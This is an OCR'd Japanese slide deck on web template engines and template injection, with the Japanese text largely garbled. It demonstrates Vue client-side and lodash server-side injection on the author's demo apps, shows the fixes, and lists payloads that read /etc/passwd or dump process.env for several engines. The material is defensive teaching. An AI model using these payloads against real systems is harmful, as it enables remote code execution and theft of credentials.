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e Name : azu
e Twitter : @azu re

e Website: Web scratch, JSer.info



https://twitter.com/azu_re
http://efcl.info/
http://jser.info/
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DEMO: Server Side Template
Injection
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Web template system(HTML)% F
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Hello {{ name }} !

Temblate
Engine

>

Hello Tom !



https://en.wikipedia.org/wiki/Web_template_system

JEEOT T L—hNIT VI

¢« RINEEIVRAOYVY I 2R TH2DONTYTL—MDEK

o TV L —RMNIVIVICESEED L AN TR HDEEZSND

e Enforcing Strict Model-View Separation infemplate Engines by
Terence Parr?

e Web Content Management - O'Reilly Media

1StringTemplate PANTLRDEZE . 30FLL E/N—X[CDWTDHfiZeZ LTWS



https://www.cs.usfca.edu/~parrt/papers/mvc.templates.pdf
https://en.wikipedia.org/wiki/Terence_Parr
http://shop.oreilly.com/product/0636920034186.do
https://www.stringtemplate.org/
https://github.com/antlr/antlr4
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e Simple Token Replacement

o EH{l/REME: This is {{ name }}. =>This is pen.

e Limited Control Structures

o ifXXforX 7R ERIEHBXHOfT W EH D
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Simple Token Replacement
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Limited Control Structures



LI

mited Control Structures

o TV L —NMICHRRNICET ZHIEEXZFTFD

o ifXPforXBZEDFIRENIIY =L O—-(BEEZHDT>7L—h

o logic less template& HIEIINZ(F> TVWBDIEFRRICEHEITHOI Y 7
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| would argue that PHP is a templating syntax that grew into a
programming language.

— Web template system
e PHPIFEEICEIKLIET YT L—hI VIV EEEZSNDS



https://en.wikipedia.org/wiki/Web_template_system

Levels

Simple Token Limited Control Programming

Structures Language

Replacement

Features

- Flexible
Case by Case - Complex
- Free

- Strict
- Simple
- Limited

Syntax

. const name = getName();
{{if name}} ifi{name) {
print(" Your ${name});

Your {{ name }} Your {{ name }}
{endif}} }
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 Simple Token Replacement

o BN FYE

e Limited Control Structures

e TV L—KhITVIVSIEWTYTIL—hITVIY
e HandlebarsWLiquid’x EHIRZEH U TIESN=H D
e SandboxE— KD EFIRRE D Smarty > TwigZk & (Sandbox7 U 4% 5 Programming Language)

e Programming Language

o ZENIRTV L —hIT VYV EE UITZL—LT—Y

UIZ7L—LT—773&E

[TLLITY

¢ HTMLWPHP, &%




Levels

Simple Token Limited Control Programming

Replacement Structures Language

Implementations

- Word(macro)
- Mustache - HTML

- Handlebars - lodash.template

' I - Pug(Jade)
String#replace Liquid - Nunjucks

- Smarty(Sandbox) - React, Vue,
- Jinja(Sandbox) Angular
- PHP
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Simple Token Replace

e replacefA#UG EBMIBRERICEWVND D

Limited control structures
e Liquid, Handlebars, StringsTemplate
Programming Language Template

 Nunjucks, Lodash, template, Pug, React, Angular, Vue...
LIE EFER
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Hello {{ name }} !

Temblate > Hello Tom !
Engine

DataModel

{

"name": "Tom"

}
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Template

DataModel

Browser Local

‘.F e Get —3 | [Template

4 C <€———Compile&Render———1DataModel

Browser

Request————>

Template

DataModel

Browser

Server
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Hello {{ name }} !

Temblate
Engine

=

Hello Tom !
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Hello {{ name }} !

Temblate Hello Tom !
Engine

DataModel

{
}

"name": "Tom"
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Hello Tom !
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Template:
Hello {{ name }}!

DataModel:

{

"name" : "<script>alert(1l)</script>"

}
View(fE&R):

Hello &lt;script&gt;alert(&#39;1&#39;)&lt;/script&gt;!



— NIV YVDIRT—T

DTYTL—hIVIVRT—IETIGA=F)DERRAIET 7 AILET

hl
\l
N,
T

e {{ name }} Tname [CHTMLAAS>THITRT =7 UL THAT S

T ETILICHTMLAA > TTH, HTMLTI G 2D XTI & U TR

I
Y
T
)

MMNKEDE. INTAXA=INABGAFICK > TIT AT —THEITELRS

o« ZMD7f=6b. Contextual Escaping(hrefl@%(Ejavascript: H TRT —7 9 2713 E )&
TIR— MU TWBENC L >TEEHITZLDTLIH S



Hello {{ name }} !

Temblate Hello Tom !
Engine
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https://www.atmarkit.co.jp/ait/articles/1510/28/news060.html
https://www.atmarkit.co.jp/ait/articles/1510/28/news060.html
https://www.atmarkit.co.jp/ait/articles/1510/28/news060.html
https://www.atmarkit.co.jp/ait/articles/1510/28/news060.html
https://www.atmarkit.co.jp/ait/articles/1510/28/news060.html
https://support.office.com/ja-jp/article/office-%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%82%AF%E3%83%AD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%BE%E3%81%9F%E3%81%AF%E7%84%A1%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B-12b036fd-d140-4e74-b45e-16fed1a7e5c6
https://support.office.com/ja-jp/article/office-%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%82%AF%E3%83%AD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%BE%E3%81%9F%E3%81%AF%E7%84%A1%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B-12b036fd-d140-4e74-b45e-16fed1a7e5c6
https://support.office.com/ja-jp/article/office-%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%82%AF%E3%83%AD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%BE%E3%81%9F%E3%81%AF%E7%84%A1%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B-12b036fd-d140-4e74-b45e-16fed1a7e5c6
https://support.office.com/ja-jp/article/office-%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%82%AF%E3%83%AD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%BE%E3%81%9F%E3%81%AF%E7%84%A1%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B-12b036fd-d140-4e74-b45e-16fed1a7e5c6
https://support.office.com/ja-jp/article/office-%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E3%83%9E%E3%82%AF%E3%83%AD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%BE%E3%81%9F%E3%81%AF%E7%84%A1%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B-12b036fd-d140-4e74-b45e-16fed1a7e5c6
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o ®RE T — K: Client side Template Injection



Vue + Client Side Template Injection

e https:/vue-client-side-template-injection-example.azu.now.sh/?
name=xxx

e JIL Dnamez—/\bA RKL>FYU>VIULT, 77472k
H4 KlgVue 7 T HEBZAMA—D



https://vue-client-side-template-injection-example.azu.now.sh/?name=xxx
https://vue-client-side-template-injection-example.azu.now.sh/?name=xxx

const express = require('express');
const escapeHTML = require('escape-html');
const app = express();
app.get('/', (req, res) =>{
res.set('Content-Type', 'text/html');
const name = req.query.name
res.status(200).send(
<div id="app">
<h1>Hello ${escapeHTML(name)}</h1>
</div>
</footer>
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>
<script>

new Vue({
el: '#app'
DK
</script>
)
DK

module.exports = app;



Vue + Client Side Template Injection

I—F—AAPname)HTMLIZ R —FldEanTWasD T -\ KL VYT UV &L
TIEFERER LY

e https:/vue-client-side-template-injection-example.azu.now.sh/?
name=%3Cscript%3Ealert(1)%3C/script%3E

F—INTA RPLVT ) VT UIEERZVuedNV SA4T7 Y M FA KLY YUY LTWS
e https:/vue-client-side-template-injection-example.azu.now.sh/?

name=%7B%7Bthis.constructor.constructor(%27alert(%22f00%22)%27)()%7D%7D

e VueZmountd & EICT VY7L —MEX{{ expression }} NA->TDE. N
2TV TL—hEULTEHBHLTULES !



https://vue-client-side-template-injection-example.azu.now.sh/?name=%3Cscript%3Ealert(1)%3C/script%3E
https://vue-client-side-template-injection-example.azu.now.sh/?name=%3Cscript%3Ealert(1)%3C/script%3E
https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D
https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D

( https://vue-client-side-templa’ X 4

X @& vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert("fo0")%27)()%7D%7D

vue-client-side-template-injection-example.azu.now.sh ®

Hello ?name={{this.construc: == 0B

foo

Source Code “

https:/vue-client-side-template-injection-example.azu.now.sh/?
name=%7B%7Bthis.constructor.constructor(%27alert(%22f00%22)%27)()%7D%7D


https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D
https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D

Client Side Template InjectionD R [A

e 7name={{ this.constructor.constructor('alert(l)’')

) WDOELSICTYTIL—MEXZANTS

e U—/\UARTLYFUTTBE{{() I} RERFHTMLY 7 Tl&
IEFWITRT —7 730N

e XDLSKBVueDT Y TL—rDBERKEIN. VuelCK>TT V7L —
N&EUTEHIES . EEDJavaScripth'E{TE 15

<div id="app">
<hl1>Hello {{this.constructor.constructor(&#39;alert(&quot;foo&quot;)&*#39;)()}}</hl>
</div>
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e fix(server): separate initial state for vue by azu - Pull Request #1 - azu/vue-client-
side-template-injection-example


https://github.com/azu/vue-client-side-template-injection-example/pull/1
https://github.com/azu/vue-client-side-template-injection-example/pull/1

Fix: Vue + Client Side Template Injection

const express = require('express');
const escapeHTML = require('escape-html');
const app = express();
app.get('/', (req, res) =>{
res.set('Content-Type', 'text/html');
const name = req.query.name
res.status(200).send(
<div id="app">
<hl>Hello {{name}}</h1>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>
<script data-initial-state="${escapeHTML(JSON.stringify({ name }))}">

</script>
<script>
new Vue({
el: '#app',
data: JSON.parse(document.querySelector('"[data-initial-state]").dataset.initialState)
DK
</script>
)
1)

module.exports = app;



DEMOG: Client Side Template
Injection
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o TR — K: Server side Template Injection

e Server-Side Template Injection | Blog - PortSwigger

e Server-Side Template Injection - DARK MATTER


https://portswigger.net/blog/server-side-template-injection
https://io.cyberdefense.jp/entry/2017/06/12/Server-Side_Template_Injection

lodash.template + Server Side Template
Injection

e https://server-side-lodash-template-injection.azu.now.sh/?
name=xxx

e JTYDnameZz—/\UARKLYF )V ULTHTMLZIRT 2
> TR T TV

o TV L—KhI V¥ ViClodash.templateZz{E->T3


https://server-side-lodash-template-injection.azu.now.sh/?name=xxx
https://server-side-lodash-template-injection.azu.now.sh/?name=xxx

const express = require( 'express');
const _ = require('lodash');
const escapeHTML = require('escape-html');
const app = express();
app.get('/', (req, res) =>{
res.set('Content-Type', 'text/html');
const name = req.query.name
// Create a template from user input
const compiled = _.template("Hello " + escapeHIML(name) + ".");

res.status(200).send(compiled());
1)

module.exports = app;



lodash.template + Server Side Template
Injection

e BREWAMNENL L

¢« 1I—Y—AINDSTYTL—hZEHRLTULE-TS

e lodash.templateldEE DJavaScript 1 — K ZFE{TTE 5

e Remote Code ExecutionH A 8E



o @ https://server-side-lodash-tern X +

<& & @ server-side-lodash-template-injection.azu.now.sh/?name=${JSON.stringify(process.env)}

Hello

{"NOW_REGION""sfo1","PATH"" /var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin","LD_LIBRARY_PATH":"/var/la
8","TZ""UTC","LAMBDA_TASK_ROOT"."/var/task","LAMBDA_RUNTIME_DIR":"/var/runtime","AWS_REGION":"us-w
1""AWS LAMBDA LOG _GROUP_NAME""/aws/lambda/43zj6xj0tQgN8vwYBVAGSAC)-

| >ch28f ""AWS_LAMBDA_LOG_STREAM_NAME""2019/08/08/[$LATES
| 3ch28f ""AWS_LAMBDA_FUNCTION_MEMORY_SIZE™""3008","AWS_LAN

3 J746;Sampled=0","AWS_EXECUTION_ENV":"AWS_Lambd

https:/server-side-lodash-template-injection.azu.now.sh/?name=${JSON.stringify(process.env)}

IR SIHMEESNEDZT 7O LTHDETRT




lodash.template + Server Side Template
Injection
e .template("Hello ${JSON.stringify(process.env)}.");
e process.env ZziRLT< NS5
e Fixx I——ANDSTYFL—rZERL L

e fix: fix server side template injection by azu - Pull Request #1 - azu/server-side-
lodash-template-injection

¢« TVTIL—hETHFETIVER TS

o I—HY—ANEFT—FETIVUNTX=F)TEHT S



https://github.com/azu/server-side-lodash-template-injection/pull/1
https://github.com/azu/server-side-lodash-template-injection/pull/1

FIX: lodash.template + Server Side Template
Injection

const express = require('express');
const = require( ' lodash');

const app = express();
app.get('/', (req, res) =>{
res.set('Content-Type', 'text/html');
const name = req.query.name
const compiled = _.template("Hello <%- name %>.");
res.status(200).send(compiled({ name }));

1)

module.exports = app;



Server Side Template Injection
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 Yahoo! RCE via Spring Engine SSTI - o Growing Web Security Blog
e Artsploit: [demo.paypal.com] Node.js code injection (RCE)
e #125980 uber.com may RCE by Flask Jinja2 Template Injection

o #423541 H1514 Server Side Template Injection in Return Magic email templates?


https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
https://artsploit.blogspot.com/2016/08/pprce2.html
https://hackerone.com/reports/125980
https://hackerone.com/reports/423541

Template Injection

» % < MProgramming Language Template DI E AN HEIL SN T
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¢ Z%&: DiogoMRSilva/websitesVulnerableToSSTI: Simple websites

vulnerable to Server Side Template Injections(SSTI)


https://github.com/epinna/tplmap
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

EJS

<%% global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString() %%>

Nunjucks

{% global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString() }

Slim

#{ File.open('/etc/passwd').read }

erb

<%= File.open('/etc/passwd').read %>

Vue(SSR)

{{ global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString() }}


https://ejs.co/
https://mozilla.github.io/nunjucks/
http://slim-lang.com/
https://ruby-doc.org/stdlib-2.6.2/libdoc/erb/rdoc/ERB.html
https://vuejs.org/
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DEMO: User Defined Template &

Server Side Template Injection
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e Shopify: Liquid

e liquidjs: JSE==

e Drupal: Twig

e Twig in Drupal 8 | Drupal 8 guide on Drupal.org

e &5 5 HLimited control structures’o> L — k


https://www.shopify.jp/
https://shopify.github.io/liquid/basics/introduction/
https://github.com/harttle/liquidjs
https://www.drupal.org/
https://twig.symfony.com/doc/1.x/
https://www.drupal.org/docs/8/theming/twig
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o Wordpress: 7—¥ |38 H D Programming Language Template

e T—YICPHPOO—RKRHEFEICE(TS

e Theme Security | Theme Developer Handbook | WordPress Developer Resources

e RRATAVIJIRTIE., FMATEET—YHEEFADT—RNN—FT A ICREZS NS

e The WordPress.com Business Plan Now Supports Plugins and Third-Party Themes —
The WordPress.com Blog

e LEA—ICL>TEEZRIAELTS
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https://wordpress.com/
https://developer.wordpress.org/themes/theme-security/
https://en.blog.wordpress.com/2017/08/07/wordpress-com-business-now-supports-plugins-and-third-party-themes/
https://en.blog.wordpress.com/2017/08/07/wordpress-com-business-now-supports-plugins-and-third-party-themes/
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Validation Workflow

Validation(Level Down)
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https://jinja.readthedocs.io/en/2.10.x/sandbox/

[

MIAMNIYRAN/ NN T—=2 3 ARDER

\
/

|

e Validationlc K5 FIRIEZLNILZTIF5EE

o D THEMHEUTHWELRNILZTITRZENTERW S, FEEH UL

o IRIFIN—DTHEHNIE. LNILIETHS% U = Programming Language Template®D £

=
@

/71

o NUF—2 g TEMNSHIELD. &=FM 5Limited control structuresz & 3N =

o RMICHEYIZLANILZREIRLT, FREICLANIZ EITRWESICT S
e ILN)ZETITBDIE. LN ZEEITBHZELIDBHEL WL

o HIEIKEERU


https://twitter.com/k2wanko/status/1158656749794054144
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https://github.com/google/gvisor

AN - TFTTL—FDFEH

O—A) 759% #—\
Simple Token Safe Safe Safe
Replace
Limited control  Safe Safe Safe
structures
Programming ADanger ADanger ADanger
Language

Template



Levels

Limited Control
Structures

Simple Token

Replacement

Implementations

- Mustache

- Handlebars

- Liquid

- Twig(Sandbox)

String#replace

- Jinja(Sandbox)

Requrement Security Features

- Escape
{{if useEval}}

- Sandbox
{{endif}}

- Smarty(Sandbox)

Programming
Language

- Word(macro)

- HTML

- lodash.template
- Pug(Jade)

- Nunjucks

=N

- React, Vue,
Angular

- PHP

- Escape
- Sandbox
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e {{ new Date().getTime() }}
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e ({TVT7L—KFHA}) Untrusted template

e ({TVT7L—K4H&YY} User Defeined template
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Simple Token Replacement



Limited Control Structures



Programming Language



FODBWTFYTL—hZ4 7%



\

% 3R

Enforcing Strict Model-View Separation infemplate Engines
Web Content Management - O'Reilly Media
Client-side Template Injection - YouTube

JSMVCOMEG - To sternly look at JavaScript MVC and Templating
Frameworks

PayloadsAllTheThings/Server Side Template Injection at master -
swisskyrepo/PayloadsAllTheThings

Web template system - Wikipedia


https://www.cs.usfca.edu/~parrt/papers/mvc.templates.pdf
http://shop.oreilly.com/product/0636920034186.do
https://www.youtube.com/watch?v=VDAAGm_HUQU
https://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-frameworks
https://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-frameworks
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://en.wikipedia.org/wiki/Web_template_system

